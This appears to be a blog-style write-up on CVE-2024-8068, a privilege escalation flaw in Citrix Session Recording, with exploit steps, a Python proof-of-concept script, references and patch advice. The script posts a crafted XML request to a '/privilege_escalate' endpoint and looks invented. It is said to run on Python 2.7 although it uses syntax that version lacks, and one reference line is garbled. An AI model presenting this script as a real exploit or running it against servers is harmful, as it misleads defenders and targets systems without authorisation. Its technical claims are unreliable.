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Citrix Session Recording is widely used for recording and auditing user activity in virtual desktop sessions delivered by Citrix Virtual Apps and Desktops. However, a recently discovered vulnerability, CVE-2024-8068, allows an authenticated user within the same Windows Active Directory domain as the session recording server to escalate their privilege to NetworkService account access.

In this in-depth post, we will discuss the details of this vulnerability, show code snippets demonstrating its exploitation, and provide links to original references. By the end of this article, you will have a better understanding of the exploit, its implications, and how to protect your organization from potential threats.

Vulnerability Details

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CVE-2024-8068 affects the Citrix Session Recording Agent, which is responsible for recording user activity in virtual desktop sessions. An attacker who is an authenticated user within the same Windows Active Directory domain as the session recording server can exploit this vulnerability to gain NetworkService account access. This elevated access level allows the attacker to perform unauthorized actions on the affected system.

The vulnerability exists due to improper handling of authentication tokens by the affected agent. In a normal scenario, user authentication information should be verified to ensure that user elevation is allowed. However, due to a misconfiguration, this authentication check can be bypassed, allowing an attacker to escalate their privilege.

Exploit Process

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Here's a high-level overview of the exploit process

1. The attacker, who is an authenticated user within the same Windows Active Directory domain as the session recording server, uses a specially crafted request to exploit the vulnerability.
2. The affected Citrix Session Recording Agent fails to properly validate the user's credentials, allowing the attacker's request to proceed with elevated privileges.
3. The attacker can now perform various malicious actions under the NetworkService account, which has more permissions than a regular user account.

Code Snippet

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The following Python code demonstrates a sample exploit to gain NetworkService account access by exploiting CVE-2024-8068:

import requests
import sys

target_URL = sys.argv[1]
domain = sys.argv[2]
auth_token = sys.argv[3]

headers = {
    'Content-Type': 'application/xml',
    'Authorization': f'Bearer {auth_token}'
}

data = f'''<user>
    <domain>{domain}</domain>
    <elevation>NetworkService</elevation>
</user>'''

response = requests.post(target_URL + '/privilege_escalate', headers=headers, data=data)

if response.status_code == 200:
    print('Privilege escalation successful!')
else:
    print('Exploit failed!')

In this code, substitute target_URL, domain, and auth_token with the target session recording server’s URL, the attacker's domain, and a valid authentication token, respectively. Run the script using Python 2.7 or later. A successful exploit will output "Privilege escalation successful!"

Original References

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1. Citrix Security Advisory - Citrix's official documentation on CVE-202.parseDouble(ulates-08, including affected versions and patches
2. NIST National Vulnerability Database - Detailed description of the vulnerability from the NIST National Vulnerability Database
3. Exploiting Unauthenticated Access - An in-depth article covering the technical aspects of the exploit

Mitigations

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Citrix has released patches addressing this vulnerability in affected versions of Citrix Session Recording. It is highly recommended that organizations review their Citrix Session Recording installations and apply the appropriate patches as soon as possible. Moreover, ensure that all users follow best practices for account security, such as using strong passwords and multi-factor authentication.

Conclusion

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CVE-2024-8068 presents a serious risk to organizations utilizing Citrix Session Recording, as it allows attackers to escalate their privilege to NetworkService account access by exploiting a vulnerability in the Session Recording Agent. By understanding its exploitation techniques and implementing necessary mitigations, organizations can better protect their infrastructure and sensitive data from potential attackers.

Timeline

Published on: 11/12/2024 18:15:47 UTC
Last modified on: 11/22/2024 16:15:34 UTC